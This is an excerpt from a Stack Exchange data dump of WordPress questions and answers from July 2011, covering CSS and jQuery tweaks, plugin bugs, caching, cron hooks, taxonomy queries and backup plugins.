  <row Id="22910" PostTypeId="2" ParentId="22901" CreationDate="2011-07-14T06:41:31.180" Score="1" ViewCount="" Body="&lt;p&gt;A quick fix would be to use WP's &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body class&lt;/a&gt; and in your stylesheet target the element containing the autor name to hide it for the page(s) you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-id-227 #my_authors{ display: none }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution would be to use &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt; in your templates, to print the author names only on wanted pages.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-14T10:24:43.500" LastActivityDate="2011-07-14T10:24:43.500" CommentCount="3" />
  <row Id="22911" PostTypeId="2" ParentId="22809" CreationDate="2011-07-14T07:01:55.750" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;em&gt;jQuery&lt;/em&gt; to do that. Try this in your header :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $(&quot;#mymenu li:nth-child(3n+3)&quot;).addClass(&quot;last&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; : for this to work you need to have &lt;a href=&quot;http://www.wprecipes.com/how-to-include-jquery-on-your-wordpress-theme&quot; rel=&quot;nofollow&quot;&gt;enqueued &lt;em&gt;jQuery&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-14T08:15:35.263" LastActivityDate="2011-07-14T08:15:35.263" CommentCount="2" />
  <row Id="22912" PostTypeId="2" ParentId="22894" CreationDate="2011-07-14T07:20:43.610" Score="0" ViewCount="" Body="&lt;p&gt;Within your blog.php file you need to declare &lt;code&gt;&amp;lt;?php wp_head(); ?&amp;gt;&lt;/code&gt; without this the loop will not work and only so many items within &lt;code&gt;$post&lt;/code&gt; will be available to you. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-14T07:20:43.610" />
  <row Id="22913" PostTypeId="1" CreationDate="2011-07-14T07:47:28.653" Score="0" ViewCount="21" Body="&lt;p&gt;I have a plugin which fetches an ics file using the wordpress function wp_remote_get.&#xA;wp_remote_get is supposed to try various ways (http, fopen, curl etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a few remote servers producing ics files, when trying to fetch the ics file the function returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;500 Internal Server Error&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;h1&amp;gt;Internal Server Error&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;The server encountered an internal error or&#xA;misconfiguration and was unable to complete&#xA;your request.&amp;lt;/p&amp;gt;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now googling for answers indicates that the problem is probably on the generating server. That maybe url file access is disabled or it is a permissions error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER The same urls will work if&#xA;1) mapped to using tinyurl (I reverse decoded it, and it does map to same url)&#xA;2) subscribed to in google calendar, local pc calendar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (from &lt;a href=&quot;http://forum.anmari.com/topic.php?id=192&quot; rel=&quot;nofollow&quot;&gt;http://forum.anmari.com/topic.php?id=192&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://calcium.brownbearsw.com/trial/sdc?CalendarName=Calendar1&amp;#038;Op=iCalSubscribe&amp;#038;AddIns=1&amp;#038;Includes=1&amp;#038;x=1&quot; rel=&quot;nofollow&quot;&gt;http://calcium.brownbearsw.com/trial/sdc?CalendarName=Calendar1&amp;#038;Op=iCalSubscribe&amp;#038;AddIns=1&amp;#038;Includes=1&amp;#038;x=1&lt;/a&gt;&#xA;Returns 500 server error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tinyurl.com/bbswtrialsdc&quot; rel=&quot;nofollow&quot;&gt;http://tinyurl.com/bbswtrialsdc&lt;/a&gt;&#xA;Works (returns ics file):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did also find notes that sometimes the error is not detailed enough. eg: with godaddy windows servers.http://www.bala-krishna.com/how-to-disable-500-internal-server-error-on-godaddy-windows-hosting/ . (Not that that helps with understanding what is going!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QUESTIONS:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;why does a tinyurl work when the original does not?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is it something to do with the server doing the request/fetch? (ie host server allows tinyurl, and tinyurl allows fetching server?....)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;is there something else that the plugin could/should do too to get around these situations ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-14T07:47:28.653" Title="wp_remote_get and internal server error 500, but tinyurl works" Tags="&lt;internal-error&gt;&lt;tinyurl&gt;" />
  <row Id="22914" PostTypeId="2" ParentId="22809" CreationDate="2011-07-14T07:49:43.267" Score="2" ViewCount="" Body="&lt;h2&gt;Nth is already a class, it's a pseudo class.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Why don't you just change whatever css applied to &lt;code&gt;.last&lt;/code&gt; and apply it to &lt;code&gt;#nav li:nth-child(3)&lt;/code&gt;.  If you need to target every third menu item it would be &lt;code&gt;#nav li:nth-child(3n+3)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Oh yah I forgot to mention support for those &lt;a href=&quot;http://www.iesucks.info/tag/internet-explorer-sucks/&quot; rel=&quot;nofollow&quot;&gt;pesky stone age browsers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily there are some good javascript libraries and jQuery plugins that add css3 support to IE &amp;lt; 9&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/keithclark/JQuery-Extended-Selectors&quot; rel=&quot;nofollow&quot;&gt;jQuery Extended Selectors&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://selectivizr.com/&quot; rel=&quot;nofollow&quot;&gt;Selecivizr&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/ie7-js/&quot; rel=&quot;nofollow&quot;&gt;ie7js&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-07-14T09:43:20.237" LastActivityDate="2011-07-14T09:43:20.237" CommentCount="3" />
  <row Id="22915" PostTypeId="1" AcceptedAnswerId="22917" CreationDate="2011-07-14T08:04:58.207" Score="1" ViewCount="48" Body="&lt;p&gt;I've built a small widget for my website &lt;br /&gt;&#xA;It has a couple of inputs, and a &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; among others. &lt;br /&gt;&#xA;Whenever someone inputs to the textarea it adds a tab at the begining &lt;br /&gt;&#xA;and changes every ' to \' &lt;br /&gt;&#xA;After a couple of times I save the same input, &lt;br /&gt;&#xA;I just get sentences that were &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's nice&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It\\\\'s nice&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the code for the Textrea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         &amp;lt;textarea rows=&quot;5&quot; cols=&quot;40&quot; id=&quot;cat_&amp;lt;?php echo $i ?&amp;gt;_text&quot; name=&quot;cat_&amp;lt;?php echo $i ?&amp;gt;_text&quot;&amp;gt;&#xA;        &amp;lt;?php echo $text ?&amp;gt;&#xA;        &amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2011-07-14T08:37:31.533" Title="Widget textarea input gets formatted" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="22917" PostTypeId="2" ParentId="22915" CreationDate="2011-07-14T08:37:31.533" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://php.net/manual/en/function.stripslashes.php&quot; rel=&quot;nofollow&quot;&gt;stripslashes&lt;/a&gt; to remove the backslash.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo stripslashes( $text );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is going to replace one slash per slashes group only though, you should first reset all the contents that have multiple slashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the tab at the beginning is due to the fact that you jump a line before echoing the text. Try this instead :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea rows=&quot;5&quot; cols=&quot;40&quot; id=&quot;cat_&amp;lt;?php echo $i ?&amp;gt;_text&quot; name=&quot;cat_&amp;lt;?php echo $i ?&amp;gt;_text&quot;&amp;gt;&amp;lt;?php echo stripslashes( $text ); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-14T08:37:31.533" CommentCount="1" />
  <row Id="22918" PostTypeId="1" AcceptedAnswerId="22960" CreationDate="2011-07-14T08:54:00.957" Score="1" ViewCount="38" Body="&lt;p&gt;I have a widget&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Xwidget extends WP_Widget{&#xA;function cron_addB(){}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to run a cron job that calls that function from outside the class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function xxx_cron_activation() {   ;&#xA;    if ( !wp_next_scheduled( 'xxx_followers' ) ) {&#xA;    wp_schedule_event(time(), 'hourly', 'xxx_followers');&#xA;}&#xA;}&#xA;add_action('wp', 'xxx_cron_activation');&#xA;&#xA;add_action('xxx_followers',array('Xwidget',&quot;cron_addB&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cron is being triggered but the function is not being executed&lt;/p&gt;&#xA;" OwnerUserId="7022" LastActivityDate="2011-07-14T17:16:49.727" Title="Calling static method in the Widget Class" Tags="&lt;widgets&gt;&lt;cron&gt;" AnswerCount="1" />
  <row Id="22919" PostTypeId="2" ParentId="22835" CreationDate="2011-07-14T09:14:54.573" Score="2" ViewCount="" Body="&lt;p&gt;I have a solution, but it's a really ugly one. I'd love to hear a better one, but I'm not sure it's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WP_Query::get_posts()&lt;/code&gt; calls &lt;code&gt;parse_tax_query()&lt;/code&gt; twice: first near the start, then again just before getting the SQL from it. There's no single hook that lets me intercept and adjust the value of &lt;code&gt;$tax_query&lt;/code&gt; in time to adjust the SQL, so instead I had to do it in two parts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An action on &lt;code&gt;pre_get_posts&lt;/code&gt;, near the start of &lt;code&gt;get_posts()&lt;/code&gt; recognises taxonomy queries with &lt;code&gt;'relation' =&amp;gt; 'OR'&lt;/code&gt; and simplifies them so that they'll only generate one join on &lt;code&gt;wp_term_relationships&lt;/code&gt;. At the same time it stores the resolved list of IDs from all the taxonomies inside the 'WP_Query' object to use later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A filter on &lt;code&gt;posts_where_paged&lt;/code&gt;, much later in &lt;code&gt;query_posts()&lt;/code&gt;, checks for a saved list of IDs and replaces the condition on the join.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'wp_query__pre');&#xA;function wp_query__pre ($wp_query) {&#xA;  if (!isset($wp_query-&amp;gt;query['tax_query'])) return;&#xA;  if ($wp_query-&amp;gt;query['tax_query']['relation'] != 'OR') return;&#xA;&#xA;  $allterms = array();&#xA;  foreach ($wp_query-&amp;gt;tax_query-&amp;gt;queries as $query) {&#xA;    $tax = $query['taxonomy'];&#xA;    $terms = $query['terms'];&#xA;    $wp_query-&amp;gt;tax_query-&amp;gt;_transform_terms($terms, $query['taxonomy'], $query['field'], 'term_taxonomy_id');&#xA;    $allterms = array_merge($allterms, $terms);&#xA;  }&#xA;&#xA;  $tax_query = array(array(&#xA;      'taxonomy' =&amp;gt; $tax,&#xA;      'terms' =&amp;gt; $terms,&#xA;      'operator' =&amp;gt; 'IN',&#xA;      'include_children' =&amp;gt; 0,&#xA;      'field' =&amp;gt; 'term_taxonomy_id',&#xA;    ));&#xA;&#xA;  $wp_query-&amp;gt;query['tax_query'] = $tax_query;&#xA;  $wp_query-&amp;gt;query_vars['tax_query'] = $tax_query;&#xA;  $wp_query-&amp;gt;tax_query = new WP_Tax_Query($tax_query);&#xA;  $wp_query-&amp;gt;saved_tax_terms = $allterms;&#xA;}&#xA;&#xA;add_filter('posts_where_paged', 'wp_query__where', 10, 2);&#xA;function wp_query__where ($where, $wp_query) {&#xA;  if (!empty($wp_query-&amp;gt;saved_tax_terms)) {&#xA;    $terms = implode(&quot;, &quot;, $wp_query-&amp;gt;dft_tax_terms);&#xA;    $where = preg_replace(&quot;!term_taxonomy_id IN \([^)]*\)!&quot;, &quot;term_taxonomy_id IN ($terms)&quot;, $where);&#xA;  }&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the code hasn't been tested thoroughly yet, and no doubt contains all manner of bugs. I probably won't cope with any more complicated queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upside of this approach is that it doesn't require the rest of your code to know anything about it. Just code a taxonomy query with &lt;code&gt;OR&lt;/code&gt; and it'll get picked up and optimised. It didn't provide quite as big a speed boost as I was hoping, but it was a definite improvement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if the WordPress team shouldn't include something like this in the core code.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditorDisplayName="" LastEditDate="2011-07-14T09:27:38.587" LastActivityDate="2011-07-14T09:27:38.587" />
  <row Id="22920" PostTypeId="2" ParentId="22344" CreationDate="2011-07-14T09:32:22.320" Score="4" ViewCount="" Body="&lt;p&gt;Sounds like it could be an issue with the database and serialization of the plugin options.  I've had problems before with plugin settings etc when moving a site using the xml export.  The category templates plugin writes a lot of options to the db and they could be corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test try creating a php file and putting it in the themes root directory.  Add the basic template header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;* Template Name: Template Test&#xA;*/ &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if it's available to choose from.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have access to the old site / server try doing an mysql dump of the database then create a new blank database and import the dump file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you didn't mention the server / hosting environment of the new and old locations.  That info might help debug the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also wanted to mention that the Category Templates plugin has issues which may or may not be the cause of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin uses serialize and unserialize in its update_option() and get_option() calls.  WordPress already does the serialization for those functions see: &lt;a href=&quot;http://andrewnacin.com/2010/04/18/wordpress-serializing-data/&quot; rel=&quot;nofollow&quot;&gt;http://andrewnacin.com/2010/04/18/wordpress-serializing-data/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the first few lines of the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cat_temp_menus() {&#xA;    add_submenu_page('themes.php','Category Templates', 'Category Templates', 8, basename(__FILE__), 'cat_temp_options_page');&#xA;    if (function_exists('add_meta_box')) {&#xA;        add_meta_box('cat_template_select','Post Template','cat_temp_meta','post','side','low');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The add_submenu_page function is using user roles (the 8)  which was deprecated in version 2.0.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax should be: &lt;code&gt;&amp;lt;?php add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function ) ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also using &lt;code&gt;basename(__FILE__)&lt;/code&gt; as the admin menu page slug which is a minor security issue. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notes For $menu_slug please don't use &lt;strong&gt;FILE&lt;/strong&gt; it makes for an ugly&#xA;  URL, and is a minor security nuance.&#xA;  (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_submenu_page#Notes&quot; rel=&quot;nofollow&quot;&gt;See Codex&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That line in the code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cat_temp_menus() {&#xA;    add_submenu_page('themes.php','Category Templates', 'Category Templates', 'activate_plugins', 'themes.php?page=cat_temp_options_page', 'cat_temp_options_page');&#xA;    if (function_exists('add_meta_box')) {&#xA;        add_meta_box('cat_template_select','Post Template','cat_temp_meta','post','side','low');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;So my answer is that the problem is most likely the plugin and my suggestion would be to either rewrite it or find another one.&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I decided to rewrite the plugin fixing all the issues since the author isn't really supporting it anymore.  For now it's on GitHub:  &lt;a href=&quot;https://github.com/c3mdigital/Category-Templates&quot; rel=&quot;nofollow&quot;&gt;https://github.com/c3mdigital/Category-Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-07-14T10:33:12.177" LastActivityDate="2011-07-14T10:33:12.177" CommentCount="4" />
  <row Id="22921" PostTypeId="1" CreationDate="2011-07-14T09:44:31.500" Score="1" ViewCount="47" Body="&lt;p&gt;In the wp-super-cache page, there is the following sentence, which I do not understand::&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Checking for and deleting expired files is expensive, but it’s&#xA;  expensive leaving them there too. On a very busy site you should set&#xA;  the expiry time to 300 seconds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let's say that I am using a low expiry time, doesn't that mean that the cache needs to rebuild over and over every 300 seconds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, most of my content (except for the home page), does not change.  So why should I matter if most of the posts will simply stay the same for days?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-07-14T09:44:31.500" Title="Pros and Cons for high &quot;expire time&quot; on wp-super-cache or w3-total-cache?" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;&lt;wp-super-cache&gt;" />
  <row Id="22922" PostTypeId="1" CreationDate="2011-07-14T09:50:39.693" Score="0" ViewCount="40" Body="&lt;p&gt;my first question is ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to retrieve path of an upload image. Important: The image isn't atached of any post. I have image url like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/wp-content/uploads/2011/06/sample.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want to get the path, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/Applications/XAMPP/htdocs/wp-content/uploads/2011/06/sample.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Marcos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I'm trying to improve my English. Sorry.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2011-08-15T22:25:04.283" Title="Get image path : image is upload but not attached" Tags="&lt;images&gt;" AnswerCount="1" />
  <row Id="22923" PostTypeId="1" CreationDate="2011-07-14T10:07:27.913" Score="0" ViewCount="74" Body="&lt;p&gt;How can i redirect all posts permalinks to .html ,in Wordpress ? now all my posts url are ending in .html ,but before it was without .html &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to be more clear ,for example a post url like this www.example.com/posturl to be redirected to www.example.com/posturl.html .it's simple to redirect them one by one,but i need a rule to redirect all posts .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6927" LastActivityDate="2011-08-16T00:25:08.553" Title="Redirect all posts urls from without .html to .html" Tags="&lt;url-rewriting&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="22924" PostTypeId="1" AcceptedAnswerId="22927" CreationDate="2011-07-14T10:28:55.507" Score="1" ViewCount="42" Body="&lt;p&gt;Is there a reliable plugin that I could use to automatically backup the WP database? &lt;strong&gt;It's really important that it's just the database and not the files.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like it to automatically download a copy of the database and store it on my computer in a specified file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there one out there that could do this?&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-07-14T10:39:22.440" LastActivityDate="2011-07-14T12:07:04.497" Title="Plugin for automatic database backup?" Tags="&lt;plugins&gt;&lt;backup&gt;" AnswerCount="2" />
  <row Id="22925" PostTypeId="2" ParentId="22014" CreationDate="2011-07-14T10:30:33.353" Score="0" ViewCount="" Body="&lt;p&gt;It seems as though it was a personal problem. A knew install solved the problem so it must've been clashing with some legacy data.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-07-14T10:30:33.353" />
  <row Id="22926" PostTypeId="2" ParentId="22735" CreationDate="2011-07-14T10:32:14.750" Score="0" ViewCount="" Body="&lt;p&gt;I have found the error!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ((array)$meta_b['args']['fields'] as $field) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ((array)$meta_b['arg']['fields'] as $field) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2011-07-14T10:32:14.750" />
  <row Id="22927" PostTypeId="2" ParentId="22924" CreationDate="2011-07-14T10:47:09.487" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/backwpup/&quot; rel=&quot;nofollow&quot;&gt;BackWPup&lt;/a&gt; has a lot of flexibility in timing, what to backup (down to the DB table level), and it can store to DropBox which would put it on your computer.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-07-14T10:47:09.487" />
  <row Id="22928" PostTypeId="1" CreationDate="2011-07-14T10:58:09.727" Score="0" ViewCount="38" Body="&lt;p&gt;I am using the WP Events Manager Plugin:&#xA;&lt;a href=&quot;http://wp-events-plugin.com&quot; rel=&quot;nofollow&quot;&gt;http://wp-events-plugin.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far - great! However I feel the documentation is rather poor and things are not quite explained as well as they could be.. hence why I have ventured over to here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an events page showing a list of all current events, then a sidebar showing upcoming events again and underneath that I need to list the Months + Year of events that have been posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;May 2011&lt;/li&gt;&#xA;&lt;li&gt;June 2011&lt;/li&gt;&#xA;&lt;li&gt;July 2011&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However these need to be click-able and loads the same page but only events from that time.&lt;/p&gt;&#xA;" OwnerUserId="7025" LastActivityDate="2011-07-14T10:58:09.727" Title="Help with WP Events Manager Plugin" Tags="&lt;plugins&gt;&lt;events&gt;" />
  <row Id="22929" PostTypeId="2" ParentId="22922" CreationDate="2011-07-14T11:04:47.787" Score="0" ViewCount="" Body="&lt;p&gt;This is not very reliable in general (especially not in multisite environment), but for specific case it can be good enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'http://localhost/wp-content/uploads/2011/06/sample.jpg';&#xA;$uploads = wp_upload_dir();&#xA;$path = str_replace( $uploads['baseurl'], $uploads['basedir'], $url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-14T11:04:47.787" />
  <row Id="22930" PostTypeId="1" CreationDate="2011-07-14T11:08:48.377" Score="0" ViewCount="204" Body="&lt;p&gt;How to get displayed child pages on parent page and also on child page of that parent in sidebar?Trying to paste code from wp codex page and from several other sites, but with no success.I always get instead of list of child pages, list of parent pages!?&#xA;what is the problem?Just to mention, maybe is important, all parent pages have its own page-template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    if($post-&amp;gt;post_parent)&#xA;    $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;); else&#xA;    $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;   if ($children) { ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php echo $children; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also try &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20662/how-to-properly-list-child-pages-in-sidebar/20669#20669&quot;&gt;this code&lt;/a&gt; which seems to me doing god job, but again I got list of parent pages&lt;/p&gt;&#xA;" OwnerUserId="4490" LastActivityDate="2011-08-13T16:23:30.173" Title="Display child pages in sidebar of parent page in wordpress" Tags="&lt;page&gt;&lt;child-pages&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="22931" PostTypeId="2" ParentId="22930" CreationDate="2011-07-14T11:12:57.640" Score="0" ViewCount="" Body="&lt;p&gt;Try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;sidenav&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    if($post-&amp;gt;post_parent)&#xA;        $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA;    else&#xA;        $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;    if ($children) { ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php echo $children; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;          &#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7025" LastActivityDate="2011-07-14T11:12:57.640" CommentCount="3" />
  <row Id="22932" PostTypeId="2" ParentId="10027" CreationDate="2011-07-14T12:04:06.933" Score="0" ViewCount="" Body="&lt;p&gt;TimThumb is enough of a resource drain on a non-network install; I can only imagine how much more of a resource drain it would be on a network install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than trying to make TimThumb work on your network install, why not just use the core Post Thumbnail functionality? TimThumb is absolutely unnecessary in WordPress.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T12:04:06.933" />
